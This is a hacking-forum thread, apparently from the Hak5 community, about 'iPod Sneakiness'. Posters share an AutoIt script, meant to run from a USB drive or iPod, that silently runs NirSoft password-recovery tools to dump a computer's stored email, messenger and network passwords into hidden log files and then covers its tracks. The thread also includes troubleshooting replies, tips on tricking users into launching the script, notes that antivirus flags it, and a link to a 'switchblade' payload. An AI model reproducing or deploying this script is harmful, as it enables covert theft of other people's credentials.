Jump to content

iPod Sneakiness


BadPolizei

Recommended Posts

Alright, I think I have the stray cmd.exe processes solved. It requires one more line in the script and one more program.

Go Here and download the command line process viewer/killer/suspender/iced tea maker. The actual download link is pretty far down the page. Unzip it and put it in the same directory as all the other pograms.

Now we'll add the command to run that and kill all instances of cmd.exe and the end of the script, so it looks like this:

Run(@ComSpec & ' /k "pspv.exe /stext .takepspv.txt"', @ScriptDir, @SW_HIDE)

sleep(200)



Run(@ComSpec & ' /k "mspass.exe /stext .takemspass.txt"', @ScriptDir, @SW_HIDE)

sleep(200)



Run(@ComSpec & ' /k "mailpv.exe /stext .takemailpv.txt"', @ScriptDir, @SW_HIDE)

sleep(200)



Run(@ComSpec & ' /k "netpass.exe /stext .takenetpass.txt"', @ScriptDir, @SW_HIDE)

sleep(3000)



Run(@ComSpec & ' /k "COPY .take*.txt .takeall.txt"', @ScriptDir, @SW_HIDE)

sleep(3000)



Dim $DateTime = @YEAR & "-" & @MON & "-" & @MDAY & "-" & @HOUR & "-" & @MIN & "_" & @SEC

Dim $Location = @WorkingDir & '.take'

Dim $FileName = "all.txt"



FileMove($Location & $FileName , $Location & $DateTime & ".log",1)

sleep(3000)



Run(@ComSpec & ' /k "del .take*.txt"', @ScriptDir, @SW_HIDE)

sleep(1000) 



Run(@ComSpec & ' /k "process.exe -k cmd.exe"', @ScriptDir, @SW_HIDE)

sleep(1000)

Now you can safely remove your usb drive and leave no stray processes running on the machine.

Link to comment
Share on other sites

  • Replies 52
  • Created
  • Last Reply

Top Posters In This Topic

  • 4 weeks later...

Got it to work.

Suggestion...

If you change the command switch "/k" to "/c" in the "Run" statements then you will eliminate the cmd.exe instances running in the background. It's a cleaner way of handling that situation than having to add the last statment that m4gnesium suggests. (nothing personal, m4gnesium!)

Link to comment
Share on other sites

  • 2 weeks later...

hi i'm trying to get this ipod sneakiness stuff on my ipod shuffle and i was wondering if any one could help me out from the beggining like what i need to download first and so n because when i went to actually but the magezine the summer issuse was in and the spring out

Thanks

ThEntertaina

Link to comment
Share on other sites

Well I've had the mag. Since it first hit the stands at my local BN. Anyhow I still can't get this code to work per say. I can get it to run but I get error boxes stating that "Error3: The System can not find the specified path."

Can anyone offer me some help with this please? Thank You!

:)

Link to comment
Share on other sites

Did you try the code that was written earlier in this forum?

That would be the code I'm speaking of actually.. I used this code

Run(@ComSpec & ' /k "pspv.exe /stext .takepspv.txt"', @ScriptDir, @SW_HIDE) 

sleep(200) 



Run(@ComSpec & ' /k "mspass.exe /stext .takemspass.txt"', @ScriptDir, @SW_HIDE) 

sleep(200) 



Run(@ComSpec & ' /k "mailpv.exe /stext .takemailpv.txt"', @ScriptDir, @SW_HIDE) 

sleep(200) 



Run(@ComSpec & ' /k "netpass.exe /stext .takenetpass.txt"', @ScriptDir, @SW_HIDE) 

sleep(3000) 



Run(@ComSpec & ' /k "COPY .take*.txt .takeall.txt"', @ScriptDir, @SW_HIDE) 

sleep(3000) 



Dim $DateTime = @YEAR & "-" & @MON & "-" & @MDAY & "-" & @HOUR & "-" & @MIN & "_" & @SEC 

Dim $Location = @WorkingDir & '.take' 

Dim $FileName = "all.txt" 



FileMove($Location & $FileName , $Location & $DateTime & ".log",1) 

sleep(3000)

And got the Error3 messages left and right.

Link to comment
Share on other sites

Here ya go... You've already got the code...

MessenPass http://www.nirsoft.net/utils/mspass.html

Mail PassView http://www.nirsoft.net/utils/mailpv.html

Protected Storage PassViewHttp://www.nirsoft.net/utils/pspv.html

Network Password Recoveryhttp://www.nirsoft.net/utils/network_password_recovery.html

I would just google for AutoIt... Thats how I found it the first time.

Link to comment
Share on other sites

  • 2 weeks later...

when you plug in the ipod the explorer should pop up which asks you what do you want to do and you click view contents or whatever(to lazy to look) and what i did was have the Auto it file not the program but the code one of the first things you see so you have to click on it and let it run

By the way i noticed that MC Afee catchs it so becareful and it will also try to delete the mailpass because it finds it as a worm

ThEntertaina

Link to comment
Share on other sites

  • 2 weeks later...
  • 3 weeks later...

I tried using this but I had no luck in succeeding.

I recommend using Amish's solution to the USB U3 Switchblade.....

Amish's solution is similar to MaxDamage's, however it does not require a U3 compatible USB drive. It relies on a little social engineering and gathers similar data. I'll let Amish explain it in more detail.

http://www.hak5.org/releases/2x02/switchbl...1.0-payload.rar

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.

×
×
  • Create New...